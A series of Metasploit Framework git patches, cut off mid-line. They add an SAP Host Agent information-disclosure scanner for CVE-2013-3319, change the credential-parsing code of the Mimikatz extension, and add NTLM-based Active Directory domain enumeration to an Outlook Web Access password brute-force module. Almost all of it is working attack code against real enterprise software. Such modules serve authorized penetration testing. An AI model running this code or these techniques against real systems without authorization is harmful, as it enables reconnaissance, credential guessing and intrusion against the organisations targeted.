.../sap/sap_hostctrl_getcomputersystem.rb | 269 ++++++++++++++++++ 1 file changed, 269 insertions(+) create mode 100644 modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb diff --git a/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb b/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb new file mode 100644 index 0000000000..cf5555d00a --- /dev/null +++ b/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb @@ -0,0 +1,269 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rexml/document' + +class Metasploit4 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'SAP Host Agent Information Disclosure', + 'Description' => %q{ + This module attempts to retrieve Computer and OS info from Host Agent +through the SAP HostControl service + }, + 'References' => + [ + # General + ['CVE', '2013-3319'], + ['URL', 'https://service.sap.com/sap/support/notes/1816536'], + ['URL', 'http://labs.integrity.pt/advisories/cve-2013-3319/'] + ], + 'Author' => + [ + 'Bruno Morisson ' + ], + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::RPORT(1128) + ], self.class) + + register_autofilter_ports([1128]) + deregister_options('RHOST') + deregister_options('VHOST') + deregister_options('URI') + + end + + def run_host(rhost) + + rport = datastore['RPORT'] + + print_status("Connecting to SAP Host Control service on #{rhost}:#{rport}") + + success = false + fault = false + + data = '' + data << '' + data << '' + data << 'true' + data << '' + data << 'providersaposcol' + data << "\r\n\r\n" + + begin + + res = send_request_raw({ + 'uri' => "/", + 'method' => 'POST', + 'data' => data, + 'headers' => + { + 'Content-Length' => data.length, + 'Content-Type' => 'text/xml; charset=UTF-8', + } + }, 15) + + if res and res.code == 200 + + print_good("Got response from server, parsing...") + + env = [] + saptbl =[] + totalitems=0 + + saptbl[0] = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => "Remote Computer Listing", + 'Prefix' => "\n", + 'Postfix' => "\n", + 'Indent' => 1, + 'Columns' => + [ + "Names", + "Hostnames", + "IPAddresses" + ]) + + saptbl[1] = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => "Remote OS Listing", + 'Prefix' => "\n", + 'Postfix' => "\n", + 'Indent' => 1, + 'Columns' => + [ + "Name", + "Type", + "Version", + "TotalMemSize", + "Load Avg 1m", + "Load Avg 5m", + "Load Avg 15m", + "CPUs", + "CPU User", + "CPU Sys", + "CPU Idle" + ]) + + saptbl[2] = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => "Remote Process Listing", + 'Prefix' => "\n", + 'Postfix' => "\n", + 'Indent' => 1, + 'Columns' => + ["Name", + "PID", + "Username", + "Priority", + "Size", + "Pages", + "CPU", + "CPU Time", + "Command" + ]) + + saptbl[3] = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => "Remote Filesystem Listing", + 'Prefix' => "\n", + 'Postfix' => "\n", + 'Indent' => 1, + 'Columns' => + ["Name", + "Size", + "Available", + "Remote" + ]) + + saptbl[4] = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => "Network Port Listing", + 'Prefix' => "\n", + 'Postfix' => "\n", + 'Indent' => 1, + 'Columns' => + ["ID", + "PacketsIn", + "PacketsOut", + "ErrorsIn", + "ErrorsOut", + "Collisions" + ]) + + mxml = REXML::Document.new(res.body) + + itsamcs = mxml.elements.to_a("//mProperties/") # OS info + + itsam = mxml.elements.to_a("//item/mProperties/") # all other info + + + itsamcs.each { |name| + tbl =[] + body = "#{name}" + env = body.scan(/(.+?)<\/mName>(.+?)<\/mType>(.+?)<\/mValue><\/item>/ix) + + if env + + totalitems +=1 + + if ("#{env}" =~ /ITSAMComputerSystem/) + + env.each do |m| + tbl << "#{m[2]}" unless ("#{m}" =~ /ITSAM/) + end + + saptbl[0] << [tbl[0], tbl[1], tbl[2]] + success = true # we have at least one response + end + + end + } + + + itsam.each { |name| + tbl =[] + # some items have no , so we put a dummy with nil + body = "#{name}".gsub(/\/mType><\/item/, "\/mType>(nil)<\/mValue><\/item") + env = body.scan(/(.+?)<\/mName>(.+?)<\/mType>(.+?)<\/mValue><\/item>/ix) + + if env + + totalitems +=1 + + env.each do |m| + tbl << "#{m[2]}" unless ("#{m}" =~ /ITSAM/) + end + + case "#{env}" + when /ITSAMOperatingSystem/ + saptbl[1] << [tbl[0], tbl[1], tbl[2], tbl[8], tbl[11], tbl[12], tbl[13], tbl[17], tbl[18]+'%', tbl[19]+'%', tbl[20]+'%'] + success = true # we have at least one response + + when /ITSAMOSProcess/ + saptbl[2] << [tbl[0], tbl[1], tbl[2], tbl[3], tbl[4], tbl[5], tbl[6]+'%', tbl[7], tbl[8]] + success = true # we have at least one response + + when /ITSAMFileSystem/ + saptbl[3] << [tbl[0], tbl[2], tbl[3], tbl[4]] + success = true # we have at least one response + + when /ITSAMNetworkPort/ + saptbl[4] << [tbl[0], tbl[1], tbl[2], tbl[3], tbl[4], tbl[5]] + success = true # we have at least one response + end + + end + } + + elsif res and res.code == 500 + if (res.body =~ /(.*)<\/faultstring>/i) + faultcode = $1.strip + fault = true + end + end + + rescue ::Rex::ConnectionError + print_error("Unable to connect to #{rhost}:#{rport}") + return + end + + if success + vprint_good("#{totalitems} items listed") + + saptbl.each do |t| + print(t.to_s) + end + + p = store_loot( + "sap.getcomputersystem", + "text/xml", + rhost, + res.body, + "sap_getcomputersystem.xml", + "SAP GetComputerSystem XML" + ) + print_status("Response stored in: #{p}") + + elsif fault + print_error("#{rhost}:#{rport} - Error code: #{faultcode}") + else + print_error("#{rhost}:#{rport} - Failed to parse list") + end + end +end From 1a2d5e472f713c9cc1c818d96377e73e150f0330 Mon Sep 17 00:00:00 2001 From: Bruno Morisson Date: Mon, 22 Jul 2013 19:03:52 +0100 Subject: [PATCH 009/409] msftidy - fixed indents --- .../sap/sap_hostctrl_getcomputersystem.rb | 50 ++++++++++--------- 1 file changed, 26 insertions(+), 24 deletions(-) diff --git a/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb b/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb index cf5555d00a..9a4a1c03b0 100644 --- a/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb +++ b/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb @@ -71,11 +71,10 @@ through the SAP HostControl service 'uri' => "/", 'method' => 'POST', 'data' => data, - 'headers' => - { - 'Content-Length' => data.length, - 'Content-Type' => 'text/xml; charset=UTF-8', - } + 'headers' => { + 'Content-Length' => data.length, + 'Content-Type' => 'text/xml; charset=UTF-8', + } }, 15) if res and res.code == 200 @@ -127,15 +126,16 @@ through the SAP HostControl service 'Postfix' => "\n", 'Indent' => 1, 'Columns' => - ["Name", - "PID", - "Username", - "Priority", - "Size", - "Pages", - "CPU", - "CPU Time", - "Command" + [ + "Name", + "PID", + "Username", + "Priority", + "Size", + "Pages", + "CPU", + "CPU Time", + "Command" ]) saptbl[3] = Msf::Ui::Console::Table.new( @@ -145,10 +145,11 @@ through the SAP HostControl service 'Postfix' => "\n", 'Indent' => 1, 'Columns' => - ["Name", - "Size", - "Available", - "Remote" + [ + "Name", + "Size", + "Available", + "Remote" ]) saptbl[4] = Msf::Ui::Console::Table.new( @@ -158,12 +159,13 @@ through the SAP HostControl service 'Postfix' => "\n", 'Indent' => 1, 'Columns' => - ["ID", - "PacketsIn", - "PacketsOut", - "ErrorsIn", - "ErrorsOut", - "Collisions" + [ + "ID", + "PacketsIn", + "PacketsOut", + "ErrorsIn", + "ErrorsOut", + "Collisions" ]) mxml = REXML::Document.new(res.body) From 4f0cf426b717003f80c21c97b753af4d90fe952c Mon Sep 17 00:00:00 2001 From: Bruno Morisson Date: Wed, 24 Jul 2013 16:43:20 +0100 Subject: [PATCH 010/409] hopefully actually fixed indents. Included @jvazquez-r7 suggested changes --- .../sap/sap_hostctrl_getcomputersystem.rb | 22 +++++++++---------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb b/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb index 9a4a1c03b0..f47752b106 100644 --- a/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb +++ b/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb @@ -19,7 +19,7 @@ class Metasploit4 < Msf::Auxiliary 'Name' => 'SAP Host Agent Information Disclosure', 'Description' => %q{ This module attempts to retrieve Computer and OS info from Host Agent -through the SAP HostControl service + through the SAP HostControl service }, 'References' => [ @@ -43,7 +43,6 @@ through the SAP HostControl service register_autofilter_ports([1128]) deregister_options('RHOST') deregister_options('VHOST') - deregister_options('URI') end @@ -67,15 +66,16 @@ through the SAP HostControl service begin - res = send_request_raw({ - 'uri' => "/", - 'method' => 'POST', - 'data' => data, - 'headers' => { - 'Content-Length' => data.length, - 'Content-Type' => 'text/xml; charset=UTF-8', - } - }, 15) + res = send_request_raw( + { + 'uri' => "/", + 'method' => 'POST', + 'data' => data, + 'headers' => { + 'Content-Length' => data.length, + 'Content-Type' => 'text/xml; charset=UTF-8', + } + }, 15) if res and res.code == 200 From 1d2d4b53458149391a0abadb1f032088e2ce5eb2 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Thu, 25 Jul 2013 18:35:11 +0100 Subject: [PATCH 011/409] Add some null checks --- lib/rex/post/meterpreter/extensions/mimikatz/mimikatz.rb | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/lib/rex/post/meterpreter/extensions/mimikatz/mimikatz.rb b/lib/rex/post/meterpreter/extensions/mimikatz/mimikatz.rb index b14d129312..2ee5667ecb 100644 --- a/lib/rex/post/meterpreter/extensions/mimikatz/mimikatz.rb +++ b/lib/rex/post/meterpreter/extensions/mimikatz/mimikatz.rb @@ -63,11 +63,18 @@ class Mimikatz < Extension def parse_ssp_result(result) details = CSV.parse(result) accounts = [] + + return accounts unless details details.each do |acc| + next unless acc.length == 5 ssps = acc[4].split(' }') + next unless ssps ssps.each do |ssp| + next unless ssp s_acc = ssp.split(' ; ') + next unless s_acc user = s_acc[0].split('{ ')[1] + next unless user account = { :authid => acc[0], :package => acc[1], From 9b773dd6f9a0e04fc6bd64eafec09d97ce088b90 Mon Sep 17 00:00:00 2001 From: Bruno Morisson Date: Fri, 16 Aug 2013 22:23:22 +0100 Subject: [PATCH 012/409] Included @jvazquez-r7 feedback --- .../sap/sap_hostctrl_getcomputersystem.rb | 397 ++++++++++-------- 1 file changed, 227 insertions(+), 170 deletions(-) diff --git a/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb b/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb index f47752b106..91ac2ccf39 100644 --- a/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb +++ b/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb @@ -41,16 +41,164 @@ class Metasploit4 < Msf::Auxiliary ], self.class) register_autofilter_ports([1128]) - deregister_options('RHOST') - deregister_options('VHOST') end + + def parse_computer_info(computer_info) + + item_list = [] + success = false + + computer_table = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => "Remote Computer Listing", + 'Prefix' => "\n", + 'Postfix' => "\n", + 'Indent' => 1, + 'Columns' => + [ + "Names", + "Hostnames", + "IPAddresses" + ]) + + computer_info.each { |item| + temp_table =[] + body = "#{item}" + item_list = body.scan(/(.+?)<\/mName>(.+?)<\/mType>(.+?)<\/mValue><\/item>/ix) + + if item_list + + if "#{item_list}" =~ /ITSAMComputerSystem/ + + item_list.each do |m| + temp_table << "#{m[2]}" unless ("#{m}" =~ /ITSAM/) + end + + computer_table << [temp_table[0], temp_table[1], temp_table[2]] + success = true # we have at least one response + end + + end + } + return computer_table, success + + end + + def parse_os_info(os_table, os_info) + + if os_table == nil + + os_table = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => "Remote OS Listing", + 'Prefix' => "\n", + 'Postfix' => "\n", + 'Indent' => 1, + 'Columns' => + [ + "Name", + "Type", + "Version", + "TotalMemSize", + "Load Avg 1m", + "Load Avg 5m", + "Load Avg 15m", + "CPUs", + "CPU User", + "CPU Sys", + "CPU Idle" + ]) + end + + os_table << [os_info[0], os_info[1], os_info[2], os_info[8], os_info[11], os_info[12], os_info[13], + os_info[17], os_info[18]+'%', os_info[19]+'%', os_info[20]+'%'] + return os_table + + end + + def parse_process_info(process_table, process_info) + + if process_table == nil + + process_table = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => "Remote Process Listing", + 'Prefix' => "\n", + 'Postfix' => "\n", + 'Indent' => 1, + 'Columns' => + [ + "Name", + "PID", + "Username", + "Priority", + "Size", + "Pages", + "CPU", + "CPU Time", + "Command" + ]) + end + process_table << [process_info[0], process_info[1], process_info[2], process_info[3], process_info[4], + process_info[5], process_info[6]+'%', process_info[7], process_info[8]] + return process_table + end + + def parse_fs_info(fs_table, fs_info) + + if fs_table == nil + + fs_table = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => "Remote Filesystem Listing", + 'Prefix' => "\n", + 'Postfix' => "\n", + 'Indent' => 1, + 'Columns' => + [ + "Name", + "Size", + "Available", + "Remote" + ]) + end + + fs_table << [fs_info[0], fs_info[2], fs_info[3], fs_info[4]] + return fs_table + end + + def parse_net_info(net_table, net_info) + + if net_table == nil + + net_table = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => "Network Port Listing", + 'Prefix' => "\n", + 'Postfix' => "\n", + 'Indent' => 1, + 'Columns' => + [ + "ID", + "PacketsIn", + "PacketsOut", + "ErrorsIn", + "ErrorsOut", + "Collisions" + ]) + end + + net_table << [net_info[0], net_info[1], net_info[2], net_info[3], net_info[4], net_info[5]] + return net_table + end + def run_host(rhost) rport = datastore['RPORT'] - print_status("Connecting to SAP Host Control service on #{rhost}:#{rport}") + vprint_status("#{rhost}:#{rport} - Connecting to SAP Host Control service") success = false fault = false @@ -72,187 +220,86 @@ class Metasploit4 < Msf::Auxiliary 'method' => 'POST', 'data' => data, 'headers' => { - 'Content-Length' => data.length, 'Content-Type' => 'text/xml; charset=UTF-8', } - }, 15) - - if res and res.code == 200 - - print_good("Got response from server, parsing...") - - env = [] - saptbl =[] - totalitems=0 - - saptbl[0] = Msf::Ui::Console::Table.new( - Msf::Ui::Console::Table::Style::Default, - 'Header' => "Remote Computer Listing", - 'Prefix' => "\n", - 'Postfix' => "\n", - 'Indent' => 1, - 'Columns' => - [ - "Names", - "Hostnames", - "IPAddresses" - ]) - - saptbl[1] = Msf::Ui::Console::Table.new( - Msf::Ui::Console::Table::Style::Default, - 'Header' => "Remote OS Listing", - 'Prefix' => "\n", - 'Postfix' => "\n", - 'Indent' => 1, - 'Columns' => - [ - "Name", - "Type", - "Version", - "TotalMemSize", - "Load Avg 1m", - "Load Avg 5m", - "Load Avg 15m", - "CPUs", - "CPU User", - "CPU Sys", - "CPU Idle" - ]) - - saptbl[2] = Msf::Ui::Console::Table.new( - Msf::Ui::Console::Table::Style::Default, - 'Header' => "Remote Process Listing", - 'Prefix' => "\n", - 'Postfix' => "\n", - 'Indent' => 1, - 'Columns' => - [ - "Name", - "PID", - "Username", - "Priority", - "Size", - "Pages", - "CPU", - "CPU Time", - "Command" - ]) - - saptbl[3] = Msf::Ui::Console::Table.new( - Msf::Ui::Console::Table::Style::Default, - 'Header' => "Remote Filesystem Listing", - 'Prefix' => "\n", - 'Postfix' => "\n", - 'Indent' => 1, - 'Columns' => - [ - "Name", - "Size", - "Available", - "Remote" - ]) - - saptbl[4] = Msf::Ui::Console::Table.new( - Msf::Ui::Console::Table::Style::Default, - 'Header' => "Network Port Listing", - 'Prefix' => "\n", - 'Postfix' => "\n", - 'Indent' => 1, - 'Columns' => - [ - "ID", - "PacketsIn", - "PacketsOut", - "ErrorsIn", - "ErrorsOut", - "Collisions" - ]) - - mxml = REXML::Document.new(res.body) - - itsamcs = mxml.elements.to_a("//mProperties/") # OS info - - itsam = mxml.elements.to_a("//item/mProperties/") # all other info + }) - itsamcs.each { |name| - tbl =[] - body = "#{name}" - env = body.scan(/(.+?)<\/mName>(.+?)<\/mType>(.+?)<\/mValue><\/item>/ix) - - if env - - totalitems +=1 - - if ("#{env}" =~ /ITSAMComputerSystem/) - - env.each do |m| - tbl << "#{m[2]}" unless ("#{m}" =~ /ITSAM/) - end - - saptbl[0] << [tbl[0], tbl[1], tbl[2]] - success = true # we have at least one response - end - - end - } - - - itsam.each { |name| - tbl =[] - # some items have no , so we put a dummy with nil - body = "#{name}".gsub(/\/mType><\/item/, "\/mType>(nil)<\/mValue><\/item") - env = body.scan(/(.+?)<\/mName>(.+?)<\/mType>(.+?)<\/mValue><\/item>/ix) - - if env - - totalitems +=1 - - env.each do |m| - tbl << "#{m[2]}" unless ("#{m}" =~ /ITSAM/) - end - - case "#{env}" - when /ITSAMOperatingSystem/ - saptbl[1] << [tbl[0], tbl[1], tbl[2], tbl[8], tbl[11], tbl[12], tbl[13], tbl[17], tbl[18]+'%', tbl[19]+'%', tbl[20]+'%'] - success = true # we have at least one response - - when /ITSAMOSProcess/ - saptbl[2] << [tbl[0], tbl[1], tbl[2], tbl[3], tbl[4], tbl[5], tbl[6]+'%', tbl[7], tbl[8]] - success = true # we have at least one response - - when /ITSAMFileSystem/ - saptbl[3] << [tbl[0], tbl[2], tbl[3], tbl[4]] - success = true # we have at least one response - - when /ITSAMNetworkPort/ - saptbl[4] << [tbl[0], tbl[1], tbl[2], tbl[3], tbl[4], tbl[5]] - success = true # we have at least one response - end - - end - } - - elsif res and res.code == 500 - if (res.body =~ /(.*)<\/faultstring>/i) + if res and res.code == 500 + if res.body =~ /(.*)<\/faultstring>/i faultcode = $1.strip fault = true end + + elsif res.code != 200 + vprint_error("#{rhost}:#{rport} - Error in response from ") end + vprint_good("#{rhost}:#{rport} - Connected. Retrieving info") + + sap_tables =[] + + response_xml = REXML::Document.new(res.body) + + computer_info = response_xml.elements.to_a("//mProperties/") # Computer info + + detailed_info = response_xml.elements.to_a("//item/mProperties/") # all other info + + + sap_tables[0], success = parse_computer_info(computer_info) + + detailed_info.each { |item| + temp_table =[] + item_list = [] + # some items have no , so we put a dummy with nil + body = "#{item}".gsub(/\/mType><\/item/, "\/mType>(nil)<\/mValue><\/item") + item_list = body.scan(/(.+?)<\/mName>(.+?)<\/mType>(.+?) +<\/mValue><\/item>/ix) + + if item_list + + item_list.each do |m| + temp_table << "#{m[2]}" unless ("#{m}" =~ /ITSAM/) + end + + case "#{item_list}" + when /ITSAMOperatingSystem/ + sap_tables[1] = parse_os_info(sap_tables[1], temp_table) + success = true # we have at least one response + + when /ITSAMOSProcess/ + sap_tables[2] = parse_process_info(sap_tables[2], temp_table) + success = true # we have at least one response + + when /ITSAMFileSystem/ + sap_tables[3] = parse_fs_info(sap_tables[3], temp_table) + success = true # we have at least one response + + when /ITSAMNetworkPort/ + sap_tables[4] = parse_net_info(sap_tables[4], temp_table) + success = true # we have at least one response + end + + end + } + rescue ::Rex::ConnectionError - print_error("Unable to connect to #{rhost}:#{rport}") + vprint_error("#{rhost}:#{rport} - Unable to connect to service") return end if success - vprint_good("#{totalitems} items listed") + print_good("#{rhost}:#{rport} - Information retrieved successfully") - saptbl.each do |t| - print(t.to_s) + sap_tables_clean = '' + + sap_tables.each do |t| + sap_tables_clean << t.to_s end - p = store_loot( + vprint_good("#{rhost}:#{rport} - Information retrieved:\n"+sap_tables_clean) + + xml_raw = store_loot( "sap.getcomputersystem", "text/xml", rhost, @@ -260,12 +307,22 @@ class Metasploit4 < Msf::Auxiliary "sap_getcomputersystem.xml", "SAP GetComputerSystem XML" ) - print_status("Response stored in: #{p}") + + xml_parsed = store_loot( + "sap.getcomputersystem", + "text/plain", + rhost, + sap_tables_clean, + "sap_getcomputersystem.txt", + "SAP GetComputerSystem XML" + ) + + vprint_status("#{rhost}:#{rport} - Response stored in #{xml_raw} (XML) and #{xml_parsed} (TXT)") elsif fault - print_error("#{rhost}:#{rport} - Error code: #{faultcode}") + vprint_error("#{rhost}:#{rport} - Error code: #{faultcode}") else - print_error("#{rhost}:#{rport} - Failed to parse list") + vprint_error("#{rhost}:#{rport} - Failed to parse list") end end end From eeed74d2b9b3918be7f1c3fb20dc2449d5d09a8a Mon Sep 17 00:00:00 2001 From: Bruno Morisson Date: Fri, 16 Aug 2013 22:32:40 +0100 Subject: [PATCH 013/409] fixed typo on a message --- modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb b/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb index 91ac2ccf39..46f4eb7dec 100644 --- a/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb +++ b/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb @@ -232,7 +232,7 @@ class Metasploit4 < Msf::Auxiliary end elsif res.code != 200 - vprint_error("#{rhost}:#{rport} - Error in response from ") + vprint_error("#{rhost}:#{rport} - Error in response") end vprint_good("#{rhost}:#{rport} - Connected. Retrieving info") From cdcfa88fa3e03effd13352d720098ce82accebb7 Mon Sep 17 00:00:00 2001 From: kaospunk Date: Thu, 22 Aug 2013 12:26:14 -0400 Subject: [PATCH 014/409] Enumerate AD Domain via NTLM Authentication Add functionality to attempt an NTLM auth against common directories to try to enumerate the AD domain. If a domain is found this will be prepended to the authentication requests, otherwise it's business as usual. --- modules/auxiliary/scanner/http/owa_login.rb | 50 +++++++++++++++++++-- 1 file changed, 47 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/scanner/http/owa_login.rb b/modules/auxiliary/scanner/http/owa_login.rb index 44b9a26222..55a021b7c5 100644 --- a/modules/auxiliary/scanner/http/owa_login.rb +++ b/modules/auxiliary/scanner/http/owa_login.rb @@ -6,6 +6,7 @@ ## require 'msf/core' +require 'rex/proto/ntlm/message' class Metasploit3 < Msf::Auxiliary @@ -25,7 +26,8 @@ class Metasploit3 < Msf::Auxiliary 'Vitor Moreira', 'Spencer McIntyre', 'SecureState R&D Team', - 'sinn3r' + 'sinn3r', + 'Brandon Knight' ], 'License' => MSF_LICENSE, 'Actions' => @@ -82,6 +84,39 @@ class Metasploit3 < Msf::Auxiliary end def run + urls = ["aspnet_client", + "Autodiscover", + "ecp", + "EWS", + "Microsoft-Server-ActiveSync", + "OAB", + "PowerShell", + "Rpc"] + + domain = nil + + begin + urls.each { |url| + res = send_request_cgi({ + 'encode' => true, + 'uri' => "/#{url}", + 'method' => 'GET', + 'headers' => {"Authorization" => "NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw=="} + }, 25) + + if res.code == 401 and res['WWW-Authenticate'].match(/^NTLM/i) + hash = res['WWW-Authenticate'].split('NTLM ')[1] + domain = Rex::Proto::NTLM::Message.parse(Rex::Text.decode_base64(hash))[:target_name].value().gsub(/\0/,'') + print_good("Found target domain: " + domain) + break + end + } + + rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT + print_error("#{msg} HTTP Connection Failed, Aborting") + return :abort + end + # Store the original setting @blank_passwords_setting = datastore['BLANK_PASSWORDS'] @@ -116,14 +151,22 @@ class Metasploit3 < Msf::Auxiliary begin each_user_pass do |user, pass| vprint_status("#{msg} Trying #{user} : #{pass}") - try_user_pass(user, pass, auth_path, inbox_path, login_check, vhost) + try_user_pass({"user" => user, "pass"=>pass, "domain" => domain, "auth_path"=>auth_path, "inbox_path"=>inbox_path, "login_check"=>login_check, "vhost"=>vhost}) end rescue ::Rex::ConnectionError, Errno::ECONNREFUSED print_error("#{msg} HTTP Connection Error, Aborting") end end - def try_user_pass(user, pass, auth_path, inbox_path, login_check, vhost) + def try_user_pass(opts) + domain = opts["domain"] + user = opts["user"] + pass = opts["pass"] + auth_path = opts["auth_path"] + inbox_path = opts["inbox_path"] + login_check = opts["login_check"] + vhost = opts["vhost"] + user = domain + '\\' + user if domain user = datastore['AD_DOMAIN'] + '\\' + user if datastore['AD_DOMAIN'] != '' headers = { 'Cookie' => 'PBack=0' @@ -211,3 +254,4 @@ class Metasploit3 < Msf::Auxiliary end end + From 7e0b26e932b2a3f7e1e13ce20f23da0ab9411449 Mon Sep 17 00:00:00 2001 From: kaospunk Date: Thu, 22 Aug 2013 13:23:39 -0400 Subject: [PATCH 015/409] Minor fixes to syntax and error handling --- modules/auxiliary/scanner/http/owa_login.rb | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/scanner/http/owa_login.rb b/modules/auxiliary/scanner/http/owa_login.rb index 55a021b7c5..7dbafeb132 100644 --- a/modules/auxiliary/scanner/http/owa_login.rb +++ b/modules/auxiliary/scanner/http/owa_login.rb @@ -96,7 +96,7 @@ class Metasploit3 < Msf::Auxiliary domain = nil begin - urls.each { |url| + urls.each do |url| res = send_request_cgi({ 'encode' => true, 'uri' => "/#{url}", @@ -104,13 +104,18 @@ class Metasploit3 < Msf::Auxiliary 'headers' => {"Authorization" => "NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw=="} }, 25) - if res.code == 401 and res['WWW-Authenticate'].match(/^NTLM/i) + if not res + print_error("#{msg} HTTP Connection Error, Aborting") + return :abort + end + + if res and res.code == 401 and res['WWW-Authenticate'].match(/^NTLM/i) hash = res['WWW-Authenticate'].split('NTLM ')[1] domain = Rex::Proto::NTLM::Message.parse(Rex::Text.decode_base64(hash))[:target_name].value().gsub(/\0/,'') print_good("Found target domain: " + domain) break end - } + end rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT print_error("#{msg} HTTP Connection Failed, Aborting") From 7e098e4d6b6fc387ec4d88eee21f682f635a8b5f Mon Sep 17 00:00:00 2001 From: kaospunk Date: Thu, 22 Aug 2013 14:16:00 -0400 Subject: [PATCH 016/409] Domain enumeration put in own function The code to enumerate the AD domain is now in its own function Additionally, a new advanced option has been added which controls whether or not the domain enumeration will occur so that if it is not wanted the user can disabled it. By default this is set to enumerate the AD domain. If AD_DOMAIN is already specified then this will be used and no auto enumeration will occur. --- modules/auxiliary/scanner/http/owa_login.rb | 97 ++++++++++++--------- 1 file changed, 56 insertions(+), 41 deletions(-) diff --git a/modules/auxiliary/scanner/http/owa_login.rb b/modules/auxiliary/scanner/http/owa_login.rb index 7dbafeb132..4e2f06f770 100644 --- a/modules/auxiliary/scanner/http/owa_login.rb +++ b/modules/auxiliary/scanner/http/owa_login.rb @@ -71,6 +71,7 @@ class Metasploit3 < Msf::Auxiliary register_advanced_options( [ OptString.new('AD_DOMAIN', [ false, "Optional AD domain to prepend to usernames", '']), + OptBool.new('ENUM_DOMAIN', [ true, "Automatically enumerate AD domain using NTLM authentication", true]), OptBool.new('SSL', [ true, "Negotiate SSL for outgoing connections", true]) ], self.class) @@ -84,44 +85,6 @@ class Metasploit3 < Msf::Auxiliary end def run - urls = ["aspnet_client", - "Autodiscover", - "ecp", - "EWS", - "Microsoft-Server-ActiveSync", - "OAB", - "PowerShell", - "Rpc"] - - domain = nil - - begin - urls.each do |url| - res = send_request_cgi({ - 'encode' => true, - 'uri' => "/#{url}", - 'method' => 'GET', - 'headers' => {"Authorization" => "NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw=="} - }, 25) - - if not res - print_error("#{msg} HTTP Connection Error, Aborting") - return :abort - end - - if res and res.code == 401 and res['WWW-Authenticate'].match(/^NTLM/i) - hash = res['WWW-Authenticate'].split('NTLM ')[1] - domain = Rex::Proto::NTLM::Message.parse(Rex::Text.decode_base64(hash))[:target_name].value().gsub(/\0/,'') - print_good("Found target domain: " + domain) - break - end - end - - rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT - print_error("#{msg} HTTP Connection Failed, Aborting") - return :abort - end - # Store the original setting @blank_passwords_setting = datastore['BLANK_PASSWORDS'] @@ -152,11 +115,21 @@ class Metasploit3 < Msf::Auxiliary auth_path = action.opts['AuthPath'] inbox_path = action.opts['InboxPath'] login_check = action.opts['InboxCheck'] + + domain = nil + + if datastore['AD_DOMAIN'].nil? or datastore['AD_DOMAIN'] == '' + if datastore['ENUM_DOMAIN'] + domain = get_ad_domain + end + else + domain = datastore['AD_DOMAIN'] + end begin each_user_pass do |user, pass| vprint_status("#{msg} Trying #{user} : #{pass}") - try_user_pass({"user" => user, "pass"=>pass, "domain" => domain, "auth_path"=>auth_path, "inbox_path"=>inbox_path, "login_check"=>login_check, "vhost"=>vhost}) + try_user_pass({"user" => user, "domain"=>domain, "pass"=>pass, "auth_path"=>auth_path, "inbox_path"=>inbox_path, "login_check"=>login_check, "vhost"=>vhost}) end rescue ::Rex::ConnectionError, Errno::ECONNREFUSED print_error("#{msg} HTTP Connection Error, Aborting") @@ -164,15 +137,16 @@ class Metasploit3 < Msf::Auxiliary end def try_user_pass(opts) - domain = opts["domain"] user = opts["user"] pass = opts["pass"] auth_path = opts["auth_path"] inbox_path = opts["inbox_path"] login_check = opts["login_check"] vhost = opts["vhost"] + domain = opts["domain"] + user = 